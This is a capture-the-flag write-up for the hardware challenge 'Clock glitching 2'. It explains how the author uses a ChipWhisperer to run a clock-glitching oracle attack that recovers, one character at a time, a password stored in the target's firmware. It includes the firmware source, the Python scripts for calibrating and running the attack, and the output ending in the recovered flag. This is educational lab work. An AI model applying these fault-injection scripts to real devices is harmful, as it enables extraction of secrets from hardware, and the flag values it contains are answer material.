Clock glitching 2

Category: Hardware

Description:

For this challenge, you must find the original password, still using glitches. It is ESSENTIAL to have solved challenge number 1.

Files: clock_glitch_files.zip

TL;DR

Source code analysis reveals a character-by-character password verification routine. An oracle attack combined with clock glitching allows exfiltrating the flag content.

Preamble

It is strongly recommended to read the writeup on Clock Glitching 1 before reading Clock Glitching 2, particularly to understand the mechanics of clock glitching and the environment setup. Furthermore, the resolution of this second part depends on the first.

Methodology

In this second clock glitching challenge, the target program is identical to the first. However, we must approach it differently to obtain the second flag.

Source Code Analysis

The provided source code is as follows:

// relevant stuff only regarding to the challenge

    uint8_t FLAG1[16] = {'G', 'H', '{', 'X', 'X', 'X', 'X', 'X', 'X', 'X', 'X', 'X', 'X', 'X', '}', '\0'};  // flag level 1
    uint8_t NOPE[16]  = {'*', 'a', 'c', 'c', 'e', 's', 's', ' ', 'd', 'e', 'n', 'i', 'e', 'd', '*', '\0'};

#if SS_VER == SS_VER_2_1
uint8_t password_GH(uint8_t cmd, uint8_t scmd, uint8_t len, uint8_t* pw)
#else
uint8_t password_GH(uint8_t* pw, uint8_t len)
#endif
    {
        const static char passwd[] = "GH{XXXXXXXXXXX}"; // flag level 2
        uint8_t result = 0;
        int cnt;

        trigger_high();

        //Simple test - doesn't check for too-long password!
        for(uint8_t i=0; i < 15; i++) {
                        result |= pw[i] ^ passwd[i];
        }
        if (result == 0) {
                        simpleserial_put('r', 15, FLAG1); // impossible path without good password, you need to glitch to go there
        } else {
                        simpleserial_put('r', 15, NOPE);
        }

        trigger_low();

#if SS_VER == SS_VER_2_1
    return (result == 0) ? 0x10 : 0x00;
#else
    return (cnt != 2500);
#endif
    }

.....

int main(void)
{
    platform_init();
    init_uart();
    trigger_setup();

.....

    simpleserial_addcmd('z', 15, password_GH);

.....

}

Unlike the first challenge, the flag of interest is initialized on the following line: const static char passwd[] = "GH{XXXXXXXXXXX}"; // flag level 2.

Here, we must reveal the content of the passwd variable. Unlike the first flag, its content is never displayed to the user. We must use another method to reveal it.

The simplified code below shows the elements of interest for performing a glitching attack:

uint8_t password_GH(uint8_t* pw, uint8_t len)
{
    const static char passwd[] = "GH{XXXXXXXXXXX}"; // flag level 2
    uint8_t result = 0;

    trigger_high();

    for(uint8_t i=0; i < 15; i++) {
        result |= pw[i] ^ passwd[i];
    }

    if (result == 0) {
        simpleserial_put('r', 15, FLAG1);
    } else {
        simpleserial_put('r', 15, NOPE);
    }

The passwd variable is compared with pw, our provided input. This comparison is performed character by character in the for loop via a XOR operation. If two characters are identical, their XOR produces 0. The result variable accumulates all these results with a bitwise OR. Thus, result remains zero only if all characters of our input exactly match those of passwd. In that case, we obtain the flag from the first challenge.

Oracle Attack Principle

Although the first flag no longer interests us, we can exploit this mechanism to reveal the content of passwd via an oracle attack. First, imagine that passwd is only one character long. By testing all possible characters, one will necessarily be identical to passwd, keeping result at zero and triggering the display of the initial flag.

By combining this approach with a clock glitching attack, we can precisely control when the loop terminates. This allows us to verify each character individually and thus reconstruct the fifteen characters of the password, position by position.

Glitch Synchronization

As in the previous challenge, the call to trigger_high() provides a precise temporal reference point. To extract each character, we must determine the offset required between this trigger and the moment we inject our glitch. At each iteration of the loop, this offset must be incremented to target the correct character.

Offset Calibration

A crucial question arises: how do we know we are glitching the loop exit?

In the previous challenge, we aimed to glitch the if (result == 0) check to obtain the flag. However, our oracle works by validly passing this condition. In this attack, we must therefore glitch the loop exit condition for(uint8_t i=0; i < 15; i++) to cause premature termination after iteration i, rather than glitching the if (result == 0) test.

We must first exclude glitch offsets that would give us a false positive. To do this, we can insert glitches with invalid characters and then with valid characters. We can do this on the first three characters because we know the flag prefix GH{. By doing so, we can discriminate false positives and determine a glitch offset that corresponds to the loop exit.

Attack Implementation

The first step in setting up the attack is configuring the ChipWhisperer in clock glitching mode.

%run "Setup_Scripts/Setup_Generic.ipynb"

INFO: Found ChipWhisperer😍
scope.clock.adc_freq                     changed from 29961112                  to 30789516                 
scope.clock.adc_rate                     changed from 29961112.0                to 30789516.0

The code from the first challenge is reused.

for i in range(100):
    # we retry 10 times the same glitch
    for j in range(10):
        scope.glitch.ext_offset = i

        reboot_flush()

        scope.arm()

        # Send dummy flag
        target.simpleserial_write('z', bytearray([0x74, 0x6F, 0x75, 0x63, 0x68, 0x74, 0x6F, 0x75, 0x63, 0x68, 0x74, 0x6F, 0x75, 0x63, 0x68]))
        val = target.simpleserial_read_witherrors()

        # Read the response
        valid = val['valid']
        if valid:
            response = val['payload']
            raw_serial = val['full_response']
            error_code = val['rv']

        if not "*access denied*" in response.decode():
            print(f"Flag: {response.decode()}")
            print(f"Params scope.glitch.ext_offset: {scope.glitch.ext_offset}")
            break

Sending a fake flag (bytearray([0x3F, 0x76, 0x3D, 0x45, 0x34, 0x57, 0x6C, 0x55, 0x58, 0x72, 0x4A, 0x67, 0x79, 0x34, 0x00]))) yields the following output:

Flag: GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 1
Flag: GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 2
Flag: GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 6
Flag: GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 7
Flag: GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 15
Flag: GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 16
Flag: GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 24

Modifying the start of the flag with known valid characters (GH{) yields:

Flag: GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 1
Flag: GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 10
Flag: GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 15
Flag: GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 19
Flag: GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 28
Flag: GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 39
Flag: GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 48

Both versions were executed multiple times. The following table displays the results obtained:

  • scope.glitch.width = 10
  • scope.glitch.offset = 1
ext_offset fake flag valid flag start
1 x x
2 x x
6 x x
7 x x
8 x
10 x
15 x x
16 x x
17 x
19 x
24 x x
25 x x
28 x

The results seem to show a discriminant, but we have multiple possibilities. 8 and 10 for the first round, 17 and 19 for the second.

A second test is performed by reducing the glitch width. This should allow for finer glitching.

  • scope.glitch.width = 5
  • scope.glitch.offset = 1

The following values emerge:

ext_offset fake flag valid flag start
1 x x
2 x x
3 x x
10 x
14 x x
15 x x
16 x x
19 x
24 x x
25 x x
28 x

The value 10 appears to be a good discriminant for our oracle. Successive valid values seem to increment by 9.

We will use these values to perform our attack.

The following script solves the challenge:

# trigger params
# because trigger_high();
scope.adc.basic_mode = 'rising_edge'

# glitch params
# width of the glitch
scope.glitch.width = 5
scope.glitch.offset = 1
# The delay to wait after trigger
scope.glitch.ext_offset = 1

scope.glitch.clk_src = "clkgen" 
scope.glitch.output = "clock_xor" # glitch_out = clk ^ glitch
scope.glitch.trigger_src = "ext_single" # glitch only after scope.arm() called
scope.io.hs2 = "glitch"  # output glitch_out on the clock line

FLAG = bytearray([])

for i in range(10, (10+9*16), 9):

    keys = {ch: 0 for ch in string.printable}

    for c in string.printable:
        # we retry 10 times the same glitch
        for j in range(10):

            scope.glitch.ext_offset = i #10 + i*9

            reboot_flush()
            scope.arm()

            target.simpleserial_write('z', FLAG + bytearray(c.encode()))
            val = target.simpleserial_read_witherrors()

            # read response
            valid = val['valid']
            if valid:
                response = val['payload']
                raw_serial = val['full_response']
                error_code = val['rv']

            try: # Dirty error catch during ctf
                re = response.decode()
            except:
                re = "*access denied*"

            if not "*access denied*" in re:
                try:
                    print(response.decode())
                except:
                    pass
                print(f"Params scope.glitch.ext_offset: {scope.glitch.ext_offset}")

                keys[c] += 1

    print()
    next_c = max(keys, key=keys.get)
    print(f"next candidate is {next_c}")
    FLAG.append(ord(next_c))
    print(FLAG)
    print()

To save time, the number of loop iterations for j in range(10) was initially set to 3. After several trials, it was increased to 5, then 10. Indeed, with fewer than 10 attempts, it sometimes happened that no glitch occurred, making it impossible to determine the character. With 10 attempts per character, the attack runs in 45 minutes.

GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 10
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 10
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 10
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 10

next candidate is G
bytearray(b'G')

GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 19
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 19
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 19

next candidate is H
bytearray(b'GH')

GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 28
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 28
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 28
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 28
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 28
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 28
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 28
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 28

next candidate is {
bytearray(b'GH{')

GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 37
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 37
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 37
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 37
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 37

next candidate is A
bytearray(b'GH{A')

GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 46
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 46
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 46
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 46
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 46
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 46

next candidate is m
bytearray(b'GH{Am')

GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 55
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 55
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 55

next candidate is a
bytearray(b'GH{Ama')

GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 64

next candidate is z
bytearray(b'GH{Amaz')

GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 73
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 73

next candidate is 1
bytearray(b'GH{Amaz1')

GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 82
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 82

next candidate is n
bytearray(b'GH{Amaz1n')

GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 91

next candidate is 6
bytearray(b'GH{Amaz1n6')

GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 100
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 100

next candidate is k
bytearray(b'GH{Amaz1n6k')

GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 109
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 109

next candidate is I
bytearray(b'GH{Amaz1n6kI')

GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 118
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 118

next candidate is l
bytearray(b'GH{Amaz1n6kIl')

GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 127
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 127
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 127

next candidate is 1
bytearray(b'GH{Amaz1n6kIl1')

Params scope.glitch.ext_offset: 136
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 136
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 136
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 136
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 136
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 136
GH{U_GL1TCH_it}
Params scope.glitch.ext_offset: 136

next candidate is }
bytearray(b'GH{Amaz1n6kIl1}')

FLAG_IS:

GH{Amaz1n6kIl1}